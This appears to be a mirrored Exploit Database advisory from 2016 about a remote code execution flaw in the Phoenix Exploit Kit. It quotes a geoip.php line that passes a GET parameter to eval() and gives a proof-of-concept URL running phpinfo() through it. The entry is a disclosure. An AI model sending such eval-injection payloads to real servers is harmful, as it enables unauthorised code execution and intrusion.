Phoenix Exploit Kit – Remote Code Execution

• Exploit Database
• 106 阅读

• 作者： CrashBandicot
  日期： 2016-07-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40047/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

  # Exploit Title: Phoenix Exploit Kit - Remote Code Execution # Exploit Author: CrashBandicot @DosPerl # Date: 2016-06-30 # Tested on: MSWin32 # Vuln file : geoip.php 492.isset($_GET['bdr']) ? eval($_GET['bdr']) : explode('nop','nop nop nop'); # PoC : http://localhost/Phoenix/includes/geoip.php?bdr=phpinfo();   # Screen : http://i.imgur.com/E7RBBRk.png   __END__